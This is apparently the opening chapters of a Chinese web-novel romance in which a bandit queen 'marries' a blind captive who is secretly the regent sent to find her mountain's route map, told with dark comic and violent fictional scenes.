《疯批摄政王装乖掉马后》
1. 成亲
禹州与幽州的边界,风卷着血腥气,往日该是牧笛悠扬的土地,此刻只剩染血的马蹄踏碎残阳。
暗红的血顺着沟壑蜿蜒,浸湿越兰溪的玄色长靴。
她立在尸山血海间,墨发被汗水与血水黏在颈侧,瞳仁深黑如墨,眼尾斜挑的弧度带着桀骜与冷厉,扫过满地残尸时。
脸上溅落的血珠顺着下颌线滑落,让那张本就英气的脸增添几分修罗相。
她一字一句:“犯我界者,死!”
*
大晋王朝,漆雾山。
如果从上空俯瞰,绵延不绝的山脉像是一条条水龙舞蛇层层盘旋在大山四周,形成一道道深不见底的沟壑,树林密布,深山中难见阳光。
在背靠第一大山脉的一险峻山地,是依山而建,利用陡坡、悬崖作为天然屏障的山寨。
在豪迈大山的衬托下,山寨似是一片点缀,层层叠叠的木屋石屋建筑,此时洋溢着敲锣打鼓的欢呼。
传闻,这里就是那残暴凶残、嗜血如命的女魔头的山寨。
站在寨子的晒谷场正中央的是一妙龄女子,身着绛红锁子软甲配黑纱披风,眉目明朗,烈焰红唇开合,说出的话令人胆战心惊:“全都杀了,给我兄弟们助助兴!”
顿时,场下兄弟们一片沸腾,举起手中的家伙什纷纷欢呼:“好,好,好。”
此妙龄女子正是令人闻风丧胆的恶魔,越兰溪。
传闻中越兰溪杀人如麻,最喜分尸挂立,最后被风吹成干尸。
“将头都给我斩下来,整齐挂在欢喜门。”她语气轻慢如丝,字字淬毒,谈及杀头时的云淡风轻像是阎王索命。
再传闻,越兰溪最喜嗜血,每每杀人到最尽心的时候,便会随意割破一人的脖子,饮起血。
山寨中的旗帜在烈风猎猎作响,风声裹挟着旗帜的浑厚声,越兰溪残忍的勾起嘴角:“将他们的血都给我放干!今晚就要让这血成为我的汤。”
书中更是写道,越兰溪喜剥人皮,晾晒阴干后,覆于自己脸上,出去寻欢作乐。
山寨中惨叫声不绝,越兰溪却觉得悦耳极了,她踩着血泊缓步上前,裙摆沾染的血珠滴落,眼神冷冽如冰,语气里的兴奋难掩:“将他们的皮剥下,越完整越好。”
身旁身着玄黑劲装的女属下低头对越兰溪说:“寨主,皮剥下来就没那么好吃了。”
越兰溪翻看自己新染了凤仙花汁的手指的动作一顿,语气里是疑惑:“是吗?”
她装作难办的“唔”了一声:“那就不剥皮了,将五脏六腑都摘出来吧。”
“是。”
一声令下,山寨中惨叫声不绝,越兰溪高坐主位,冷眼旁观一切,腰间挂着的一串银质骷髅头,小骷髅刻着血纹,随动作轻晃,透着致命的危险。
白发嬷嬷上前,满眼慈爱地对越兰溪说:“寨主,寨子都布置好了,今晚就可以大婚。”
“好,辛苦嬷嬷了。”
王嬷嬷看起来已过知天命之年,年纪虽大,动作却利索,好似在寨中地位极高,路过的下属无一不打招呼的。
王嬷嬷亲昵地抚摸越兰溪垂在胸前的长生辫:“寨主,今日迎娶那男子,杀的寨中十数头猪,可要分一些到山下村民家。”
不止漆雾山中归越兰溪,山下以及附近三城都是越兰溪的。
朝廷对漆雾山试过招安,越兰溪两下将招安令撕个粉碎;也召集兵马对漆雾山进行过强攻,可是漆雾山地处险境,山中不仅方向难辨,更可怕的是必经之路上有一毒瘴林,朝廷拿漆雾山没办法,只能任由它与朝廷井水不犯河水。
越兰溪的长生辫上叮铃咣啷地挂了一大串花朵、铃铛,最尾巴上坠着一只淬红珠串,红珠似凝血,与辫子缠绕,动时飒爽带煞。
她染红指甲的手一挥:“分两头到山下,让他们也凑凑本寨主的喜气。”
王嬷嬷得令:“寨主仁慈。只是下次杀猪不用穿成这个样子,说话也不要这样吓人,像个冷面罗刹似的,会吓着嬷嬷的。”
是吗?越兰溪歪头。
她勾起嘴角,回答:“好。”
见王嬷嬷悦然,越兰溪又问:“捡回来的那男子可醒了?”
王嬷嬷梳理越兰溪的黑发,头上是五颜六色的野花,到处插得乱七八糟的,那是寨中的孩子们对越兰溪的祝福。每一次越兰溪大婚,头上总是会出现各色各样的花或者是花娟。
算算次数,这次成亲应该是越兰溪的第三百六十七次大婚了。
“那男子伤势可不轻,应该不会这么快醒。”
男子是越兰溪从山下御敌回程中,在山林的陷阱中捡到的。
寨子中的村民已经不以为怪了,村子里凡是容貌气质俱佳男子,全是越兰溪或是从山下掠来的,或是从某个地方捡回来的。
越兰溪却不在意,漫不经心道:“没事,没醒的话,只是难办些,到时派人将他拖到祠堂来。我越兰溪要办的事,就算他腿残了,也得来。”
今日山中阳光正好,微风拂过竹梢,是山野中独特的泥土混着青草的味道。
春泥急匆匆地从后山跑回来,三阶并作一阶越到越兰溪身旁,气喘吁吁说:“寨......寨主,他醒了!”
“那走吧,去瞧瞧我的新夫君”越兰溪慵懒从铺着黑狼皮地宽大虎头椅上站起来,从十几阶高的主位上一跃而下。
“王嬷嬷,我先走了。”
越兰溪背朝王嬷嬷,抬手在空中扬两下,天光照映出她身姿的剪影,步履从容不迫,直到衣袂消失在转角。
王嬷嬷面露欣然,看来寨主很是喜欢新捡来的这位少年。
后山隔前山二里地,中间是一个宽阔的练武场。
经过练武场,便到了寨子中村民住的地方。
井然有序的房屋,排成好几排,方方正正的房屋布局,往前走,一飞泓从山上直流而下,灌入八口井中。
越兰溪的院子不在此处,而是在山上。山坳里辟出的小院,青石板铺地,围虎皮石墙,院门是乌木镶铁,正屋三间青砖瓦房,檐下悬玄色帘幔。
掀开帘幔,屋内正中摆乌木大案,案侧立兽首兵器架;东西厢房各一间。
推开东厢房,映入眼帘的便是男子端正坐立于床边,眉目清隽,眼上缠着素白绫缎,末端轻垂颈侧,鼻梁高挺,唇线利落,周身萦绕这疏离如霜的冷寂感。宛若月下孤石,不染尘嚣。
“寨主,他应是中毒导致双目失明,身上多处致命伤均以处理好。”陈大夫合拢医箱,站起身朝越兰溪作揖。
“没事没事,能动就行。”
越兰溪真是语不惊人死不休,说得陈老头脸色通红,支支吾吾地说:“他......他还不能行事......”
春泥当即明白他俩对话牛头不对马嘴:“说什么呢?陈老头,别污了我们寨主的耳朵,寨主说得是能去前山成亲就行。”
陈老头汗颜:“可,可,成亲倒是有余力。”
“老夫就先告辞。”
床上的男子明明也是局中人,却
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像旁观者一样默不作声。
他转过头,没缠紧的绸缎从眼睛落下,稳稳落到脖颈处:“你是越兰溪?”
他双眼无神,却能准确看向越兰溪的位置,抬头,“看”向她。
现下五月,正值暑气蝉鸣,他换上一身素白里衣,像出尘脱俗的冷美人。
越兰溪豪横地坐到他身旁,单手撑在他身侧,逼近问:“是,我是越兰溪。”
她勾起男子的一丝黑发,邪气一笑:“美人,你叫什么名字?”
这副浪荡纨绔模样,让春泥没眼看,咬牙纠正她家寨主:“寨主,注意仪容。”
越兰溪瘪嘴:“不好看吗?小乙给我念的话本里,反派都这样的。”
春泥扶额,她家寨主除了习武练武之外,最爱话本,关键是她还不识字,每晚钦点一位压寨夫君为她专门念话本。
她口中的“小乙”就是前段时间救回来,强娶为第三百六十六任压寨夫君的书生,知识渊博,会写字念书,关键是还会写话本子,一下子就将越兰溪勾过去了。
“我叫柳棹歌。”他声音如泉水,听着像是羽毛轻扫心尖,酥麻又舒服。
越兰溪欢喜,随意捡的男子,容貌声音俱佳。
看着他失神的双眼,语气里全是可惜:“春泥,他声音真好听,可惜瞎了,要不然给我念话本子多好。”
“不过,没事,你嫁给我之后,我肯定会将你眼睛治好的。”
“呵。”柳棹歌喉咙里滚出一声笑,他眉梢微挑,扬起一抹春雪消融一般的笑:“你说,你要娶我?”
他的声音带着魅惑,语调甜得发腻,细细听来,像是被一条毒蛇缠住,轻轻摩挲越兰溪的耳廓。
越兰溪毫无察觉,染红指甲的手指勾起他下巴:“对,我娶你,今晚我们就入洞房!”
“走走走,春泥,我们去厨房转悠一圈,视察一下。”说起今晚的宴席,越兰溪就有些饿了,拉上春泥的手,还不忘记吩咐下属:“替他把衣服换好,别误了吉时。”
下属抱拳回了声“是”。
房间里,柳棹歌紧紧“盯”住越兰溪远去的背影,取下脖颈处的绸缎,眉眼弯弯,喃喃自语:“成亲?我还没成过亲呢,真的好有意思!”
他回想起他们见的第一面,他遭人暗算,中毒致使双眼失明后拼尽全力逃出军营,被人追杀,躲进深山,不幸掉落捕兽陷进。
在陷阱里的五日,是他人生中最快活的日子,如果可以,他愿意一直留在这方小小的天地里。
那几日,是一直孱弱的小猫一直陪他,他每日抚摸它,抱着它。
但是那只小猫不太听话,他就亲手掐死了它,真的快活极了,他兴奋地想,那种生命渐渐流逝地在他手里流逝的感觉,他浑身战栗,闷哼出声,无可置疑,他喜欢这种感觉。
后来,越兰溪来了,她跳下来,像是跳入陷进的猎物,柳棹歌笑吟吟地“看”住她。
他虚弱地躺坐在石壁上,将自己伪装成猎物,面露可怜地目视前方:“你,可是来救我的人?”
越兰溪二话不说将长□□入他胸口,血花炸开,将本就红透的月白色长袍染上几分鲜红:“你和王庄村的朝廷军队是什么关系?”
他溢出一声闷哼,故作柔弱,声音里确是难掩的亢奋:“我是裴昳。”
越兰溪瞳孔一缩,手上的劲儿又大了几分。
他气息中混着笑意,带着畅意的颤栗,靠在石壁上带血的手指轻抚上枪尖,仰头“看”向她:“你信吗?”
2. 亲吻
“我只是中途被劫的商贾,少侠又是什么人?”
越兰溪蹲下身子触碰他的脉搏,疑心,确实是个毫无武功的人。
她眼神中带着探究的看向柔弱的男子,盯住他,眯起双眼。只是她不信什么巧合。
她刚从山下杀敌回来,就在她的山里捡到一个男子,如此巧合,她不得不提高警惕。若换成平日里,她二话不说就带回山寨了,只是今日情况特殊,不得不小心谨慎。
她微微俯身,抽出刺进他心口的长枪,转而用带血的枪头挑起他的下巴,迫使他仰头,眼神里俱是审视:“美人儿这张脸可真是好看,要不扒下来送给我可好?”
不得不承认,越兰溪是有些高兴的,这是她美救英雄救过最美的人儿了。
柳棹歌错愕,瞬即回过神来,粲然一笑:“好啊。”
他手指挑开枪头,嘴唇靠近,伸出舌尖,轻舔了舔枪头上腥甜的血:“只要留我一命,英雄要如何处理我,我都心甘情愿。”
那动作,那神情,简直比她看的志怪小说里面的妖精还要勾人。
越兰溪被柳棹歌的动作惊住了,顿时就不知道该怎么做,眼睛不自觉看向柳棹歌明眸皓齿的脸庞上,身体不知怎的还微微发热。
直到坑上春泥的呼喊,才将她拉回来。她二话没说,借助石壁凹凸不平,飞身上去。
柳棹歌坐在原地,轻嗤一声,喉间溢出血沫混着笑意,声音嘶哑又灼热:“好有趣啊。你好啊,越兰溪,我是裴昳。”
“把下来那个人给我救上来。”
冷眼干练的女下属越十三抱拳:“是。”
直到上来了,越兰溪还觉得热,大咧咧地掀起裙摆扇风。
“怎么了这是,怎么还出这么多汗?”春泥用手绢擦拭她额头上的汗。
“没什么,下面不透风。但是我要成第三百六十七次亲了。”
“派人去查一下此人身份来历,这个节骨眼上,最好谨慎一些。”
春泥已经见怪不怪了,她家寨主心思单纯,以为成亲的意思就是做好朋友,寨子里不少人都和她成过亲,就连春泥自己也不例外。
但是越兰溪要查此人来历,春泥必须打起精神,她家寨主可以说是全寨的主心骨,决策与判别能力自然是有由来的。
春泥面色凝重:“是,我立刻派人去查。”
说完,又犹豫道:“那,还要与这男子成婚吗?”
“成啊,怎么不成,明日朝廷的求和礼就该送来了,正好可以给兄弟们改善改善伙食。”
朝廷官兵越发式微,打又打不过,还总是派兵挑衅。越兰溪挑眉,真是招笑。
*
夜幕降临,火把熊熊燃起,欢声笑语荡漾在山头,绵延不绝,连小兔子都好奇地伸着脑袋凑热闹。
自动围成一个圈的村民们手牵手聚在火堆旁,跳起舞唱起歌来。
不远处,几十位膳夫唱着雄浑的山歌,炒菜烧火:“起锅喽。”
摆桌小分队从库房里抬出数十张桌子在议事堂前整齐摆好,因为他们家寨主这个办席的频率比较高,直接从山下采购了数十套桌椅运到山中,以便每次成亲。
“寨主好!”
众人端起酒碗,朝主位敬酒。
越兰溪结婚不拜天地高堂,只需带着新人在寨子里走一圈,让村民们认识此人即可。
柳棹歌重伤未愈,自然走不得,坐的是越兰溪的山舆,由四人抬轿。
“诶呦,天奶奶,寨主新收的美人难不成是天神下凡吗?这样貌,这身段,啧啧啧。”
“你看他眼上遮的绸缎,想不想无欲无求的神仙。”
柳棹歌换上一身喜袍,连遮住眼前的绸缎也换成了红绸,墨发简单由一根木簪挽起,缎发随意地散开,如莲花般垂至腰间。精致的嘴角勾出一个恰到好处的弧度,像是显灵的菩萨一般圣洁。
跟随在右侧的是身着暗赤罗裙的越兰溪,眉峰微挑自带三分狠厉,眼瞳亮得却像是浸在溪水中的琉璃,动作雀跃,眼底藏着几分直白又纯粹的欢喜。
“我的天爷爷,寨主和这小夫君简直绝配啊。”
“是啊,从来没有想过居然有人在寨主面前还丝毫不逊色。”
“切,有我好看吗?”一道不合时宜地声音打断了村民滔滔不绝地赞美,嗓音清亮带着点炸毛的劲儿。
看见是蒋小乙,村民们的心里多了几分了然,捂嘴偷笑,这是吃醋了吧。也怪不得他,在柳棹歌没来之前,寨主最喜爱的便是这第三百六十六任夫君,蒋小乙,还只是个十七八岁的少年郎。
他攥着酒碗的手青筋直跳,玄色劲装衬得肩背挺拔如松,剑眉拧成一个小结,下颌线绷直:“就是个狐狸精!”
“开席!”
遥遥的议事堂前,副手敲鼓呐喊。
“祝寨主与姑爷永结同心,福寿绵延。”
柳棹歌被送进新房。
村民们的祝福过后,越兰溪将碗中的酒一饮而尽,豪爽一吼:“入洞房!”
“噗嗤——咳咳。”
王嬷嬷坐右位,措不及防地被她家小寨主说的话惊到了,重重地放下酒碗,手背擦去嘴边的酒渍,语气不详:“寨主,谁和你说的要入洞房?”
越兰溪的话本都是她亲自审阅过后才送到她房中的,就是避免她家寨主万一懂事之后,过于沉溺美色,败坏身子。
“你们别诓骗我了,成婚是要入洞房的,我知道。”
她家寨主心思单纯,话本只看志怪游侠,几乎没有关于情爱的任何故事,更不可能知道有洞房这个环节。
自从前段时间将蒋小乙带回,越兰溪说话越发惊人,如今居然知道洞房了。
春泥观脸色,立马会意:“我马上去教训蒋小乙。”
越兰溪淡淡一笑:“小乙他说的,夫妻就是要洞房的。今晚我要柳棹歌给我读话本?”
虽说柳棹歌身上有伤,需要休息。
但是王嬷嬷向来对越兰溪无限宠溺,柳棹歌今晚就算要入土为安了,也得起来先给她家寨主读完话本:“好,今晚就他。”
红烛映着喜服,他端坐洞房,眼睫垂落掩住眼底暗涌。薄唇紧抿,周身透着清冽疏离,指尖却无意识摩挲着喜服袍角。
红烛轻爆,惊得他睫羽轻颤。他眉峰微蹙,抬眸,眼底闪过一丝无措,准确看向蜡烛位置,仿若视物清明,喃喃道:“这便是成亲吗?”
虽然他未曾经历过,但是偶尔出任务,也看见过一些新人成亲。可能是每个地方的习俗不一样吧,柳棹歌想。
房门被推开,越兰溪大步跨向柳棹歌。
柳棹歌只觉身侧床榻微微向下凹,听见身旁的越兰溪开口说道:“忘了,是个瞎子,怎么给我念话本啊?”
她贴近柳棹歌,左瞧右瞧,近到彼此呼吸交融,能清楚数出柳棹歌弯翘睫羽的数目。
柳棹歌抬起无神的眸子“看”向她,挑起唇角,一副温柔模样:“寨主想听话本?某可说与寨主听。”
越兰溪却被柳棹歌的眼睛魅惑住了:“你眼睛真好看,像琥珀。”
“可惜,瞎了。”
“那我挖出来送与寨主可好?”柳棹歌说得仿佛是在说送她一本话本子一般轻松自在。
“我有琥珀,比你眼睛还好看,不需要你的。”越兰溪思考一瞬,回答道。
柳棹歌却仿佛得了一件小玩意一样,觉得有趣得很:“那可惜了,没得寨主赏识,那便是它的错了,它就不该出现。”
说着,他便用手狠挖左眼,不留余力,等越兰溪回过神捉住他的手阻止他时,他的手指已经染上了血点,左眼发红,眼下流血。
“我越发对你好奇了。”越兰溪嘴角噙着若有若无的笑,眼神微微眯起,闪过一丝不易察觉的狡黠。
“寨主喜欢就好。”柳棹歌说话时总是带着温吞的笑意,做事却狠决。
越兰溪趴在床上,双脚翘起,两只手撑着下巴,像个天真的稚童:“我不喜欢,我就喜欢听故事。”
“好,那某给你讲书生和白牡丹花妖的故事。”
他身着红纱,盘坐在床榻上,肘放于膝上,单手支头,双目轻阖,乌发散落在红被上,声音很轻,却字字清晰。
“胶州书生黄生在崂山太清宫读书时,邂逅了白牡丹花妖香玉,二人情愫渐生结为连理……”<
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娓娓道来的讲述配上柳棹歌轻柔的嗓音,越兰溪已经完全沉浸在这故事中,眼角湿润,微微抽泣。
柳棹歌止住,带着不解地“望”向越兰溪:“你哭了?”
她没有正面回答,而是坐起来,靠近柳棹歌问:“你知不知道什么是“亲”啊?”
突如其来的发问,让柳棹歌愣了愣,低头思索:“某不知。”
越兰溪苦恼地双手支下巴,眼睛一转,猛地凑近柳棹歌。
柳棹歌感受到越兰溪的靠近,近到有些不可思议,嘴角依旧噙笑,淡然接受她的视线在他脸上游走。
忽然,他鼻头轻皱,面颊传来柔软的濡湿感,呼吸喷洒在他面部。
他面颊被越兰溪上下扇动的目睫弄得痒痒的,连带着心头也有些痒意。
这是一个不带一丝情意和杂念的吻。
时间仿佛静止一般,他们两人保持姿势,柳棹歌愣在原地,越兰溪则是不知道下一步该怎么办,索性就一直贴着。
“寨主,趁热喝……”
“哎呦,哎呦,这是干什么呢?”王嬷嬷端着药推开房门,就看到越兰溪手撑在柳棹歌身侧,嘴唇贴在他脸上。
“分开,分开。”
王嬷嬷将药放在桌子上,上手扒拉越兰溪。
“嘶。”
临走时,越兰溪还咬了一口柳棹歌的脸颊肉,刺痒刺痒的,让柳棹歌不禁轻嘶一声。
“小乙说夫妻之间要亲的。”越兰溪五官精致凌厉,被拉起来坐在床边,她舔舔嘴角,回味着刚才那一个吻。
王嬷嬷气得差点背过去,拉着越兰溪就走了:“诶,我的故事还没听完。”
王嬷嬷教训越兰溪的声音渐渐远去,烛光照到柳棹歌脸上,印出湿痕,指尖轻触,染上些湿意。
他轻捻手指,声音带着些疑惑:“这便是亲吗?”
夜已深,窗外传来窸窸窣窣的声音。
柳棹歌起身,耳朵微动,撇眉,带着些兴奋:“有老鼠。”
竹管捅破纸窗,迷烟悄无声息散入房间。
“咚。”
房内传出一声□□摔倒的钝重声。
“哼,还不是中了小爷的圈套。”
蒋小乙翻窗进入房内,扯下蒙脸的黑布,得意洋洋地说道。
他大摇大摆地走到帷帐外,不带防备地掀开帘帐。
“啊!”
床上原本应该昏迷的柳棹歌洒了一把石灰,洒进蒋小乙的眼中。
蒋小乙的惨叫瞬间迎来了寨中的警惕。
柳棹歌起身掐住蒋小乙的脖子,脸上笑意未减,语调里带着久违地戾气,他“望”向蒋小乙的眼睛,说出的话带着狂喜和黏腻。
“该怎么收拾你这只老鼠呢?剥皮?脱骨?唔,我觉得都不好。”
蒋小乙被掐住,躺在地板上,明明五月的天,却身溢冷汗,像是被一条毒蛇层层圈住的猎物,难以逃脱。
“怎么回事?”
就在蒋小乙呼吸逐渐凝滞时,房门及时被推开。
越兰溪带着手下踹开门,身后跟着王嬷嬷。
“蒋小乙?你在柳棹歌房内做什么?”越兰溪质问。
“我不知道他是谁?我以为是坏人,就洒了一把石灰……”
柳棹歌先发制人,他早已收起阴婺模样,像只受惊的猫,衣衫单薄,身形瑟缩缩坐在踏板上,楚楚可怜让人怜惜。
瞬间两人高下立见,就算蒋小乙什么也没做,现在也成了真真恶毒之人。
王嬷嬷简直没眼看:“带走带走,请陈大夫处理一下眼睛。”
石灰洒进眼睛里,可不是开玩笑的,遇水会灼烧皮肤,不及时处理,万一眼睛出大问题,就真的误了他。
临走时,越兰溪下颌微抬,一眼望去,是让人心生怜悯的柳棹歌,她眼底闪过一丝锐利。随后吹了一声口哨:“我明日再来看你啊。”阖上门走了。
柳棹歌听见脚步声走远后,才坐起身子,似有想起刚才发生的事,轻嗤一声:“蠢货。”
要是他晕倒了,会发出倒地的声音?就算倒地,又怎么会出现在床上。
真真愚蠢。
4. 你骗我!
随着越兰溪展开画卷的动作,正厅里一片寂静。
越九神色紧张,这已经是他们查到的关于裴昳的第一百零一张画像了,张张都来之不易,却张张都长得不一样,但都有一个共同的特点,就是画画之人将裴昳画得好似天上仅有,不似凡人。
要是这一张还是假的,那他们真的无颜再说自己是暗探了。
柳棹歌神色平静地坐在红藤椅上,抬手执盏,指节分明如玉石雕刻,落杯时指尖轻叩瓷壁,动作间带着几分温润雅韵。
越兰溪凝神,对着画像看了好一会儿,她侧过头对着越九,颇为疑惑地问:“不是说他长得面如冠玉、目若朗星,身姿玉树琼枝、修然出尘吗?”
越九神色一凝,上前接过画卷,仔细一看,顿时有种气在心头,无处宣泄的感觉。
她俩对视一眼,真的有人长成这样的吗?
画上的人虽不至于丑陋不堪,但是那奇形怪状的手脚和比例惊人的身材着实有些让她们意想不到,尤其是画上之人上唇一颗大黑痣,更是让她们惊了又惊。
“难道我受寨子中人的影响,审美已经被改变了吗?还是说现在大晋的审美已经又变样了?”越兰溪低头皱眉,不解问道。
“越九办事不力,请主子责罚。”
越兰溪单手支着下巴,将手指沾湿,对着画卷上人的眼睛画了一个圈:“责怪你干什么?我几上京城,潜入摄政王府,都没见到过他真人,不怪你,起来吧。”
越九却深深自责自己没有为越兰溪解决烦恼。
“倒是棹歌,我有一次遥遥望见过裴昳一次,和你身形倒有几分相似。”越兰溪在桌面上画着小人,不经意间提眼看向淡然坐在椅子上的人儿。
柳棹歌侧过身来,含笑“望”向越兰溪:“寨主说笑了,可能好看的人的模样都是相近的吧。但是寨主放心,我的模样可是比摄政王要好看上千百倍的。”
怎会有如此不要脸之人。
越兰溪,眼角一抽,内心鄙夷。
她还以为他会说什么来开脱掉和裴昳的关联,毕竟如此试探,平常人都会马上撇清关系,只有柳棹歌大方承认。
但是她没话说,毕竟柳棹歌样貌确实是上乘。
“主子,这是今年的三城的官营专卖收入,这是军政防务,这是户籍上新和人口统计,这是......”越九将三城的事务全抱出来,既然在查找裴昳画像这件事上助力不上,那就鞭策寨主,成为更好的寨主。
近三尺的文书让越兰溪目瞪口呆,手上捏着的糕点,一个没注意,骨碌碌地掉在地上,滚了一圈灰尘。
“停——”越兰溪面色惊恐制止。
“你这是干嘛?”
越九理所当然道:“寨主作为我们的头,自然要知道城内大小事。”
不是,越星没有教过她,她越兰溪只管打仗杀敌,城内事务一律不管的吗?
“咚。”
越九将一大摞文书放在桌子上时,越兰溪瞳孔地震,她明显看到桌脚都往下陷了两分。
这是要她死吗!?
接着,她又说出让越兰溪想当场去世的恶毒话语:“顾九方不懂得寨主想要的,但是越九懂,越九相信寨主一定成为世上举世无双的人,寨主本就应该文武双全,不输那裴昳分毫。”
不,你不懂!越兰溪内心咆哮。
越九说话间,眼里全是对越兰溪的崇拜,也有对越兰溪的恨铁不成钢。
"我知寨主不识字,越九读与您听。"
柳棹歌安静坐在椅子上听她主仆二人谈话,闻言笑出声。这一声笑就像是越兰溪的救命稻草。
她有些虚弱地指着柳棹歌说:“我,我还要陪我的新夫君出门逛街......”
越兰溪从座位上弹射起来,讪笑着绕开越九拿出的挡在身前的案牍公文。
“夫君,我们走。”她僵笑,挽过柳棹歌的手,快步走出正厅。
越兰溪不敢回头,生怕后面追出来一个抱着案牍的越九。
直到走出大门,越兰溪才长长舒口气。
“寨主为何喜读话本,却不喜公务呢?”柳棹歌感受到身侧的温度离散开,手在衣袖里蜷起,好奇问道。
“你这是什么话?”
越兰溪眼尾高挑带惊讶之色:“你喜欢看猪跑,那你会想要会主动跳进锅中当菜肴吗?”
她又白了一眼柳棹歌:“走吧,感受一下我治下的城池与你们京城有何不同。”
言语间,她神色骄傲。
“寨主,这好像不是你治理的吧。”
柳棹歌垂手而立,阳光通过云层洒在周身,将他染上一层温柔的润泽,却一语狠心点破真相。
越兰溪下台阶的步子顿了一下,有些尴尬地哈哈为自己圆场,随后又正色,背手而立,凶巴巴朝柳棹歌道:“怎么不是我,我管她们,她们管百姓,不就等于我管百姓吗?”
见柳棹歌还想说什么,越兰溪一个猛冲上前捂住他嘴巴,低声威胁道:“我告诉你,你再说话,我把你舌头割下来。”
满意地瞧见了他“害怕地”皱起眉,越兰溪松开手,顺手将手中的长枪递到他手中,转过身,甩甩手,伸个懒腰,姿态随意又慵懒:“好了,跟上来吧。我就委屈我的顺意暂时做你的盲杖吧。”
无人注意处,越兰溪呲牙甩手吐槽道:“可把我的枪交出去了,手都酸了。”
越兰溪的长枪名为顺意,由三截凭借而成,枪头侧刻着几多梅花,枪缨时三缕墨色羽丝,枪杆泛冷雨光泽,绕着细如发丝的赤纹,状若火星。
落在身后的柳棹歌还停留在被捂嘴那里,月白绸带被风吹起,卷过他下巴,他低头回味:“好香。”
柳棹歌喉咙里溢出一声笑。
他掂掂长枪暗忖,越兰溪肯定长得五大三粗,毕竟长枪重量不俗,且长达八尺
但是转念一想又不对,她手指纤细,虽不似平常女子一般柔弱无骨,但是指节分明,且纤长。
禹州城,大街小巷都是摊贩,与别处不一样的是,这里的街上多了许多女子营商,或是卖绢花、卖书画,更有女子与男子配合完成一场杂戏,这是除了此三城外,别处不能看见的。
前头的越兰溪头戴斗笠,穿行在大街小巷,这里瞧瞧香包,那里逗逗狸猫,一副富贵纨绔公子出来横霸街头的模样。
起初,柳棹歌还杵着长枪,仔细辨别越兰溪的声音跟在后头。
每当他跟不上越兰溪时,就随意找一处空旷之地等待在原地,不过须臾,越兰溪就会气鼓鼓地走回来找他,拉着他的衣袖,嘴里骂骂咧咧。
他觉得有意思极了。
后来他特意便寻了一处偏僻之地,想要等待越兰溪来找,她肯定又是又会嫌他麻烦,但还是牵着他走。
他靠在墙边,鼻头一动,轻嗅,是一阵浅浅的怡人心脾的香。
柳棹歌抬手往香气的源头摸,露出一截透着瓷感的手腕。在围墙上头,垂掉下来一簇花,开得正艳。
他细细感受,脑海里一片茫然,露出无措。柳棹歌不知道这是什么花,他的世界中从来不会出现花这种无用的东西。
可能和刀抹过脖子时泵出的血花一样鲜艳吧,他想。
他一朵一朵摘过枝头的花,等下越兰溪找过来时,将花束送给她,她会不会消消气呢?她就像小猫一样,逗一逗就会呲牙咧嘴。
亮黄色
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的花瓣随着他的牵扯,落了他满头,阳光透过花簇,形成另一丛花簇阴影在他身上摇曳,透明黑色的影子周边围着一圈月黄色的光圈。
“摄政王真是好兴致啊。”一道尖锐的声音中带着戏谑,由远及近。
来人面色偏白,身形小巧,佝偻着腰背,说话时声调尖细婉转,眉眼带笑切却是轻蔑,眼神谦卑却藏着锐利。
柳棹歌含笑的嘴角立马被抚平,原本淡然的气质被风吹散,像是提线木偶一般循规蹈矩。
他站直身体,双手捧花:“王公公。”
“哟,摄政王这是,瞎了?唉哟,这可如何是好啊,陛下本就担忧你,如今不得心疼死啊。”王公公苍白的手指抚向柳棹歌的双眼,话说得冠冕堂皇,语气里满是幸灾乐祸。
他突然发狠死死掐上柳棹歌的双眼,咬牙切齿道:“摄政王可不要忘记自己的身份啊。”
见柳棹歌从始至终都没有反应,维持着顺服的模样,王公公气势更甚了,乐此不疲地玩弄柳棹歌的双眼。
忽然眼尖瞥见他手中的月季花束,大叫开口,作势从他手中夺过来,力气却不及柳棹歌,一下子无法将花从他手中抢出来。
王公公气急败坏,借着他的手,将花揉拧碎了一地:“摄政王别是忘了陛下的话了?你不配拥有这些,你不配,知道吗?你就应该好好习武,好好完成陛下交代的任务,切勿有别的歪心思。”
缓缓呼吸之后,他才提气宣旨。
“陛下口谕。”
柳棹歌闻言,跪伏于地。
“漆雾山路线图,事关紧要!着尔不惜代价,务必寻得呈来,为大晋除越贼,不得有误。”
“微臣裴昳,领旨。”
王公公甚是享受裴昳的臣服乖顺,得意地笑着摇头:“摄政王可别忘了陛下交代的事,也别负陛下的恩情啊。”
走时,还状似无意,将本就变成残骸的花束用脚碾碎,花汁润湿了脚底的泥土。
柳棹歌抬起头,双眼被折磨出红血丝,眼眶通红,他抬眼,无神地“看”向巷子外。
不知过了多久,柳棹歌一直安静地靠坐在墙边合眼假寐。
直到......
“柳棹歌!”
越兰溪喘着气,怒气冲冲地走过来。
巷子尽头,柳棹歌的月白衣衫已经染上泥土,连眼前原本绑好的绸带都散落在离他一丈处,旁边还有一摊残花瓣,被碾得稀碎。
倒是他手中多了几枝已经残败的花枝。
越兰溪不知道发生了什么,却能感受出柳棹歌浑身萦绕着死寂,整个人气势格外凌厉。
“你怎么躲这里来了啊?我找了你好久。”越兰溪将地上的绸带捡起,拍去染上的灰尘,递给他时才发现,他双眼绯红,在他白得清透无杂色的皙白脸庞上格外扎眼。
“你眼睛怎么了?”
柳棹歌不回答,只是弯起红肿的眼睛:“多谢寨主找到了我。”
我还以为你不会来找我了。
越兰溪却掐住柳棹歌的脸颊,眉梢微凝,眼帘半眯,瞳仁收窄,目光中带着几分探究,指尖划过他眼边,很明显的几条被指甲掐出来的印记:“你这是怎么了?”
“没什么,不小心弄到眼睛了。”他侧开脸,语气柔和。
“额。”
柳棹歌的脖子被突然死死掐住,猝不及防,喉咙里溢出一声轻哼。
越兰溪靠近他耳朵:“你骗我。”
她原本就对柳棹歌的身份存疑,突然消失,兜兜转转找了他好久都没找到。找到了,却发现他眼上明显的被人掐过的痕迹。
手越收越紧,柳棹歌脸庞涨成桃粉色,呼吸越来越急促。
5. 有人想杀我
柳棹歌垂着眼,眉头都没动一下,既不挣扎也不吭声。
越兰溪盯着他看了几眼,见他始终沉默,心火更甚了,猛地松手将他甩开,他头歪向一边。
“寨主,有人想杀我。”
越兰溪闻此,眼光一闪,神色一凝,余光就瞥见他头垂下去,眼帘轻轻合上,呼吸变得微弱绵长,方才还紧绷的身体彻底软下去,像是被抽光所有力气。
他晕了!
越兰溪自觉她没用多大的力气,别是装的吧?
她拍了拍柳棹歌的肩膀:“喂,我给你说,装晕在我这里可是行不通的啊。”
见他真没反应,越兰溪确定他是真的晕了,不耐地“啧”了一声,心下思量,他本就不是个习武之人,手无缚鸡之力,又大病未愈,哪里受得住这么一折腾。
